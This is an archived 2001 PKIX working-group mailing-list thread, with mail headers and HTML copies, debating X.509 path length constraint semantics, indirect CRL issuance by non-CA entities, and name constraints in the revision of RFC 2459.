X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Steve,
    Is there anything that restricts indirect CRL issuance only
to CAs? I think the concept of an entity other than the CA
issuing CRLs is reasonably old.

Regards,
Ambarish



---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043

-----Original Message-----
From: Stephen Kent [mailto:[e-mail]]
Sent: Friday, March 02, 2001 1:49 PM
To: David Simonetti
Cc: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints

<STUFF DELETED>


I am too bothered by the emergence of the notion that entities other than
CAs issues CRLs. I reread 2459 and it does not seem to make a case for this,
although I did note that the CRLSign bit in key usage did not limit its use
to CAs, even though the KeyCertSign bit is so restricted. But 5.2.5 (the CRL
distribution point extension) does say: "The CRL is signed using the CA's
private key" and that certainly argues for what I would consider the usual
interpretation, i.e., only CAs sign CRLs.


OCSP clearly introduced the notion of a non CA entity vouching for
certificate status. But we're talking about CRLs here and I still think they
should be issued only by CAs. I view the CRLSign bit to be a means by which
a CA can have different keys and certs for cert signing vs. CRL signing, and
appropriate split  that can enhance security in many instances.


Steve


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA11349 for <[e-mail]>; Fri, 2 Mar 2001 14:30:00 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id RAA26250 for <[e-mail]>; Fri, 2 Mar 2001 17:30:01 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Fri, 02 Mar 2001 17:29:48 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=====================_32120252==_.ALT"

--=====================_32120252==_.ALT
Content-Type: text/plain; charset="us-ascii"

At 03:44 PM 3/2/01 -0500, David Simonetti wrote:
>David,
>
>You write, "With the other semantics, the certificate issued to the CRL-issuer could include basicConstraints with cA=TRUE without causing any problems."
>
>I think, more specifically, the certificate issued to the CRL-issuer includes a basicConstraints ext with cA=True and pathLenContraint=0, and a keyUsage extension with cRLSign=1.

David,

Consider the following scenarios:

scenario 1:

CA1 ----------------------------> CA2 ----------------------------------> CA3
      basicConstraints:                          keyUsage:
                 cA=TRUE                                 cRLSign
                 pathLenConstraint=0                     
         keyUsage:                                       CRLDistributionPoints:
                 keyCertSign, cRLSign                    cRLIssuer: CA3

scenario 2:

CA1 ----------------------------> CA2 ----------------------------------> CA3
      basicConstraints:                          basicConstraints:
                 cA=TRUE                                 cA=TRUE
                 pathLenConstraint=0                     
         keyUsage:                                       keyUsage:
                 keyCertSign, cRLSign                    keyCertSign, cRLSign

                                                         CRLDistributionPoints:
                                                                 cRLIssuer: CA3

In both scenarios, CA1 wishes to allow its relying parties to validate certificates issued by CA2. Also, in both scenarios, CA2 does not issue its own CRLs, but instead relies CA3 to issue CRLs on its behalf. The only difference is that in scenario 1 the certificate issued by CA2 to CA3 only "authorizes" CA3 to sign CRLs, whereas in scenario 2 the certificate issued by CA 2 to CA3 "authorizes" CA3 to sign both certificates and CRLs (perhaps CA2 wishes to allow its own relying parties to accept certificates issued by CA3).

In scenario 1, since CA2 is not "authorizing" CA3 to sign certificates, it does not include the basicConstraints extension in the certificate it issues to CA3. In scenario 2, basicConstraints is included as required since the intention is to "authorize" CA3 to sign certificates.

No matter how pathLenConstraint is defined, CA1's relying parties will be able to validate CRLs issued by CA3 in scenario 1. With scenario 2, however, with one definition relying parties will be able to validate the CRLs, but with the other they will not due to the presence of basicConstraints in the certificate issued by CA2 to CA3.

Note that what you suggest ("the certificate issued to the CRL-issuer includes a basicConstraints ext with cA=True and pathLenContraint=0, and a keyUsage extension with cRLSign=1") would not work. Using the definition of pathLenConstraint that you support, such a certificate would be rejected as a "CA-certificate" since it contains basicConstraints with cA=TRUE. This is also contradictory to the PKIX profile:

                 The cA bit indicates if the certified public key may be used to
                 verify signatures on other certificates. If the cA bit is asserted,
                 then the keyCertSign bit in the key usage extension
                 MUST also be asserted. If the cA bit is not asserted, then the
                 keyCertSign bit in the key usage extension MUST NOT be asserted.

>With the new semantics, if the keyUsage extension is absent, is it then possible for the CRL-issuer, assuming it is a CA, to also sign certificates?

Two points:

1) As noted in the quote above, if one does not wish to allow a certificate subject's public key to be used to verify certificates, then one should not include basicConstraints with cA=TRUE. If it is included then the issuing CA intended to allow the subject to sign certificates. On the other hand, it we are dealing with a scenario such as scenario 2 above, then it would always be the case that CA1's relying parties would not accept certificates signed by CA3 (even if they accept CRLs signed by CA3). If CA1's relying parties tried to accept a certificate signed by CA3 then they would do so by attempting to validate a path of the form CA1--->CA2--->CA3--->EE and this path would fail as a result of the path length constraint.

2) As I stated in my previous message, nobody is proposing new semantics. We are merely trying to deal with the results of previously ambiguous text. The semantics that I have been advocating have already in implemented in products. For example, I used the NIST X.509 certification path test suite to test the path validation code in Outlook Express on a Windows 98SE machine, and for the path length tests, the results of validation were the same whether the last certificate in the path included basicConstraints with cA=TRUE or not. So it seems that Microsoft's path validation code currently implements the semantics that I have been advocating. In addition, if you look at DR 272, which is designed to clarify the meaning of path length constraints in X.509, the text seems to suggest that it has always been the ISO Directory group's intention that pathLenConstraint be interpreted in this way.


So, if we decide that pathLenConstraints should be calculated differently when the last certificate in the path includes basicConstraints with cA=TRUE, then we will be "breaking" real, deployed implementations. We would also need to work to see that DR 272 is changed so that X.509 is consistent. It may be the case that there are also deployed implementations that compute pathLenConstraints differently when the end certificate included basicConstraints with cA=TRUE that would be "broken" if we agree to go the other way. But even if this is the case, we should not reject the idea of computing pathLenConstraint the same way for all paths of equal length based on the argument that this would be defining "new semantics". If there had been agreement in past on what the "old semantics" were, then we wouldn't even be talking about path length constraints now.

Dave




--=====================_32120252==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
At 03:44 PM 3/2/01 -0500, David Simonetti wrote:<br>
<blockquote type=cite cite>David,<br>
<br>
You write, &quot;With the other semantics, the certificate issued to the
CRL-issuer could include basicConstraints with cA=TRUE without causing
any problems.&quot;<br>
<br>
I think, more specifically, the certificate issued to the CRL-issuer
includes a basicConstraints ext with cA=True and pathLenContraint=0, and
a keyUsage extension with cRLSign=1.</blockquote><br>
David,<br>
<br>
Consider the following scenarios:<br>
<br>
scenario 1:<br>
<br>
<tt>CA1 ----------------------------&gt; CA2
----------------------------------&gt; CA3<br>
&nbsp;&nbsp;&nbsp;&nbsp;
basicConstraints:<x-tab>&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyUsage:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cA=TRUE<x-tab>&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cRLSign<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>pathLenConstraint=0<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyUsage:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab></tt><font face="Courier New, Courier">CRLDistributionPoints:<br>
</font><tt><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyCertSign,
cRLSign<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab></tt><font face="Courier New, Courier">cRLIssuer:
CA3<br>
<br>
</font>scenario 2:<br>
<br>
<tt>CA1 ----------------------------&gt; CA2
----------------------------------&gt; CA3<br>
&nbsp;&nbsp;&nbsp;&nbsp;
basicConstraints:<x-tab>&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>basicConstraints:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cA=TRUE<x-tab>&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cA=TRUE<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>pathLenConstraint=0<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyUsage:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyUsage:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyCertSign,
cRLSign<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyCertSign,
cRLSign<br>
<br>
</tt><font face="Courier New, Courier"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>CRLDistributionPoints:<br>
</font><tt><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab></tt><font face="Courier New, Courier">cRLIssuer:
CA3<br>
<br>
</font>In both scenarios, CA1 wishes to allow its relying parties to
validate certificates issued by CA2. Also, in both scenarios, CA2 does
not issue its own CRLs, but instead relies CA3 to issue CRLs on its
behalf. The only difference is that in scenario 1 the certificate issued
by CA2 to CA3 only &quot;authorizes&quot; CA3 to sign CRLs, whereas in
scenario 2 the certificate issued by CA 2 to CA3 &quot;authorizes&quot;
CA3 to sign both certificates and CRLs (perhaps CA2 wishes to allow its
own relying parties to accept certificates issued by CA3).<br>
<br>
In scenario 1, since CA2 is not &quot;authorizing&quot; CA3 to sign
certificates, it does not include the basicConstraints extension in the
certificate it issues to CA3. In scenario 2, basicConstraints is included
as required since the intention is to &quot;authorize&quot; CA3 to sign
certificates.<br>
<br>
No matter how pathLenConstraint is defined, CA1's relying parties will be
able to validate CRLs issued by CA3 in scenario 1. With scenario 2,
however, with one definition relying parties will be able to validate the
CRLs, but with the other they will not due to the presence of
basicConstraints in the certificate issued by CA2 to CA3.<br>
<br>
Note that what you suggest (&quot;the certificate issued to the
CRL-issuer includes a basicConstraints ext with cA=True and
pathLenContraint=0, and a keyUsage extension with cRLSign=1&quot;) would
not work. Using the definition of pathLenConstraint that you support,
such a certificate would be rejected as a &quot;CA-certificate&quot;
since it contains basicConstraints with cA=TRUE. This is also
contradictory to the PKIX profile:<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>The
cA bit indicates if the certified public key may be used to<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>verify
signatures on other certificates. If the cA bit is asserted,<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>then
the keyCertSign bit in the key usage extension<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>MUST
also be asserted. If the cA bit is not asserted, then the<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyCertSign
bit in the key usage extension MUST NOT be asserted.<br>
<br>
<blockquote type=cite cite>With the new semantics, if the keyUsage
extension is absent, is it then possible for the CRL-issuer, assuming it
is a CA, to also sign certificates?</blockquote><br>
Two points:<br>
<br>
1) As noted in the quote above, if one does not wish to allow a
certificate subject's public key to be used to verify certificates, then
one should not include basicConstraints with cA=TRUE. If it is included
then the issuing CA intended to allow the subject to sign certificates.
On the other hand, it we are dealing with a scenario such as scenario 2
above, then it would always be the case that CA1's relying parties would
not accept certificates signed by CA3 (even if they accept CRLs signed by
CA3). If CA1's relying parties tried to accept a certificate signed by
CA3 then they would do so by attempting to validate a path of the form
CA1---&gt;CA2---&gt;CA3---&gt;EE and this path would fail as a result of
the path length constraint.<br>
<br>
2) As I stated in my previous message, nobody is proposing new semantics.
We are merely trying to deal with the results of previously ambiguous
text. The semantics that I have been advocating have already in
implemented in products. For example, I used the NIST X.509 certification
path test suite to test the path validation code in Outlook Express on a
Windows 98SE machine, and for the path length tests, the results of
validation were the same whether the last certificate in the path
included basicConstraints with cA=TRUE or not. So it seems that
Microsoft's path validation code currently implements the semantics that
I have been advocating. In addition, if you look at DR 272, which is
designed to clarify the meaning of path length constraints in X.509, the
text seems to suggest that it has always been the ISO Directory group's
intention that pathLenConstraint be interpreted in this way.<br>
<br>
<br>
So, if we decide that pathLenConstraints should be calculated differently
when the last certificate in the path includes basicConstraints with
cA=TRUE, then we will be &quot;breaking&quot; real, deployed
implementations. We would also need to work to see that DR 272 is changed
so that X.509 is consistent. It may be the case that there are also
deployed implementations that compute pathLenConstraints differently when
the end certificate included basicConstraints with cA=TRUE that would be
&quot;broken&quot; if we agree to go the other way. But even if this is
the case, we should not reject the idea of computing pathLenConstraint
the same way for all paths of equal length based on the argument that
this would be defining &quot;new semantics&quot;. If there had been
agreement in past on what the &quot;old semantics&quot; were, then we
wouldn't even be talking about path length constraints now.<br>
<br>
Dave<br>
<br>
<br>
<br>
</html>

--=====================_32120252==_.ALT--



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA08820 for <[e-mail]>; Fri, 2 Mar 2001 13:52:24 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA17053; Fri, 2 Mar 2001 16:52:34 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010411b6c5c3a35769@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Date: Fri, 2 Mar 2001 16:48:40 -0500
To: David Simonetti <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
Cc: [e-mail]
Content-Type: multipart/alternative; boundary="============_-1228552433==_ma============"

--============_-1228552433==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

David,

>Let's make this a fair fight and make it three on three.  This David 
>agrees with
>Steve and John.
>
>In Tim's original message:
>
>"CA "A" issues a CA certificate to CA "B".  "A" trusts end entity
>certificates issued by "B", but does not trust "B" to issue certificates to
>other CAs.  "A" includes basic constraints in the certificate it issues to
>"B" with cA = TRUE and pathLen = 0."
>
>""B" does not issue its own CRLs, but delegates this to CA "C".  "B" also
>trusts "C" to issue end entity certificates. So, "B" includes basic
>constraints in the certificate it issues to "B" with cA = TRUE."
>
>Let me begin by stating that I really dislike this scenario. 
>Theoretically this
>is possible, but why would anyone architect such a design?  If I really had to
>address this scenario, a design that fits within the current 
>semantics would be
>one that creates a distinct "personality" for issuing the CRLs which could be
>issued an end entity certificate with the cRLSign bit set.
>
>Stay with the current semantics and stop trying to break things that really
>aren't broken.

I am too bothered by the emergence of the notion that entities other 
than  CAs issues CRLs. I reread 2459 and it does not seem to make a 
case for this, although I did note that the CRLSign bit in key usage 
did not limit its use to CAs, even though the KeyCertSign bit is so 
restricted. But 5.2.5 (the CRL distribution point extension) does 
say: "The CRL is signed using the CA's private key" and that 
certainly argues for what I would consider the usual interpretation, 
i.e., only CAs sign CRLs.

OCSP clearly introduced the notion of a non CA entity vouching for 
certificate status. But we're talking about CRLs here and I still 
think they should be issued only by CAs. I view the CRLSign bit to be 
a means by which a CA can have different keys and certs for cert 
signing vs. CRL signing, and appropriate split  that can enhance 
security in many instances.

Steve
--============_-1228552433==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: Open Issue in Part1: path length
constraints</title></head><body>
<div>David,</div>
<div><br></div>
<blockquote type="cite" cite>Let's make this a fair fight and make it
three on three.&nbsp; This David agrees with<br>
Steve and John.<br>
<br>
In Tim's original message:<br>
<br>
&quot;CA &quot;A&quot; issues a CA certificate to CA &quot;B&quot;.&nbsp;
&quot;A&quot; trusts end entity<br>
certificates issued by &quot;B&quot;, but does not trust &quot;B&quot;
to issue certificates to<br>
other CAs.&nbsp; &quot;A&quot; includes basic constraints in the
certificate it issues to<br>
&quot;B&quot; with cA = TRUE and pathLen = 0.&quot;<br>
<br>
&quot;&quot;B&quot; does not issue its own CRLs, but delegates this to
CA &quot;C&quot;.&nbsp; &quot;B&quot; also<br>
trusts &quot;C&quot; to issue end entity certificates. So, &quot;B&quot;
includes basic<br>
constraints in the certificate it issues to &quot;B&quot; with cA =
TRUE.&quot;<br>
<br>
Let me begin by stating that I really dislike this scenario.&nbsp;
Theoretically this<br>
is possible, but why would anyone architect such a design?&nbsp; If I
really had to<br>
address this scenario, a design that fits within the current semantics
would be<br>
one that creates a distinct &quot;personality&quot; for issuing the
CRLs which could be<br>
issued an end entity certificate with the cRLSign bit set.<br>
<br>
Stay with the current semantics and stop trying to break things that
really</blockquote>
<blockquote type="cite" cite>aren't broken.</blockquote>
<div><br></div>
<div>I am too bothered by the emergence of the notion that entities
other than&nbsp; CAs issues CRLs. I reread 2459 and it does not seem
to make a case for this, although I did note that the CRLSign bit in
key usage did not limit its use to CAs, even though the KeyCertSign
bit is so restricted. But 5.2.5 (the CRL distribution point extension)
does say: &quot;<font face="Courier" size="+2" color="#000000">The CRL
is signed using the CA's private key&quot;</font><font
color="#000000"> and that certainly argues for</font> what I would
consider the usual interpretation, i.e., only CAs sign CRLs.</div>
<div><br></div>
<div>OCSP clearly introduced the notion of a non CA entity vouching
for certificate status. But we're talking about CRLs here and I still
think they should be issued only by CAs. I view the CRLSign bit to be
a means by which a CA can have different keys and certs for cert
signing vs. CRL signing, and appropriate split&nbsp; that can enhance
security in many instances.</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1228552433==_ma============--


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA07994 for <[e-mail]>; Fri, 2 Mar 2001 13:41:51 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA15711; Fri, 2 Mar 2001 16:42:01 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010410b6c5c23a028b@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]>
Date: Fri, 2 Mar 2001 16:39:26 -0500
To: Steve Hanna <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: WG Last Call: Son-of-2459
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Steve,

I agree with most of the comments you have made re revisions to 2459, 
but I do disagree with the discussion if name constraints and its use 
in the validation algorithm.  I think that name constraints are 
critically important in PKIs that make extensive use of cross 
certification. Yet, as you note, they are no commonly used so far. I 
think that making provision to associate name constraints with trust 
anchors is a good way to let users (or administrators) locally manage 
the concerns that this extension addresses, without having to 
persuade CAs to issue cross certs with such constraints.  In fact, I 
was persuaded to drop my proposal for local issuance of such cross 
certs because of the inclusion of this facility as a control measure 
on the validation process.

This will become more than a local implementation issue, as we 
continue with the DPV/DPD work.  My current draft of the message 
syntax for requests calls for inclusion of name constraints as a 
validation control parameter, a protocol feature motivated by the 
notion that name constraints would become a standard part of the 
validation algorithm.

Steve


Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA03549 for <[e-mail]>; Fri, 2 Mar 2001 12:56:46 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GD846AMV; Fri, 2 Mar 2001 12:56:24 -0800
Message-ID: <[e-mail]>
Date: Fri, 02 Mar 2001 15:44:46 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "David A. Cooper" <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

David,

You write, "With the other semantics, the certificate issued to the CRL-issuer could include basicConstraints with cA=TRUE without causing any problems."

I think, more specifically, the certificate issued to the CRL-issuer includes a basicConstraints ext with cA=True and pathLenContraint=0, and a keyUsage extension with cRLSign=1.  With the new semantics, if the keyUsage extension is absent, is it then possible for the CRL-issuer, assuming it is a CA, to also sign certificates?

Dave S.

"David A. Cooper" wrote:

> At 02:27 PM 3/1/01 -0500, [e-mail] wrote:
> >But why would you care about a CA's signature on an OCSP response or a CRL
> >if you don't trust the signature on the EE certificate you're inquiring
> >about?
>
> It will not always be the case that an CRL or OCSP response will be signed by the same entity (e.g, CA) that signed the EE certificate of interest. It may be that a certificate is issued with a cRLDistributionPoints extension specifying that corresponding CRLs will be issued by a different entity. The issuer of the CRLs does not have to be a CA (i.e., the certificate issued to this entity is not required to contain the basicConstraints extension). So, it is possible that a relying party will accept CRLs issued by some entity even though it would not accept certificates issued by this entity.
>
> Based on the semantics that Steve Hanna, et. al. support, a CA that relied on indirect CRLs (or OCSP responses signed by some other entity) to distribute revocation information would need to issue the CRL-issuing entity a certificate that either did not include basicConstraints or contained basicConstaints with cA=FALSE in order to avoid potential problems as a result of path length constraints.
>
> >I think that the alternative semantics under discussion can cause a real
> >difference in behavior only if the CA is using its certificate-signing key
> >for something that's not certificate-related at all - OCSP, CRL and CPS
> >signatures are all uninteresting except in the context of an
> >otherwise-trusted certificate signed by the CA.
>
> I disagree. The only disagreement we have occurs when a path length constraint has been imposed and the final certificate in the path includes a basicConstraints extension with cA=TRUE. According to PKIX, the cA component of basicConstraints is only used to specify whether the certificate subject is trusted to sign certificates. The value of basicConstraints says nothing about whether the certificate subject is trusted to issue CRLs, OCSP responses or anything else other than certificates.
>
> I would also like to note again that the current discussion is not about whether the interpretation of path length constraints should be changed. The text in RFC 2459 was not sufficiently clear and as a result there are currently some implementations that follow one set of semantics and other implementations that follow the other set.
>
> We need to make sure that new-part1 is clear about the semantics of path length constraint. However, given that both of the possible semantics have already been implemented, we can not really make a decision on the basis that one alternative describes the "current" semantics while the other represents a "change in the semantics".
>
> Dave

--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from proxy.ojp.usdoj.gov (lists.ojp.usdoj.gov [149.101.22.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id MAA00488 for <[e-mail]>; Fri, 2 Mar 2001 12:01:20 -0800 (PST)
Received: from ns.ojp.usdoj.gov by proxy.ojp.usdoj.gov via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 2 Mar 2001 19:52:33 UT
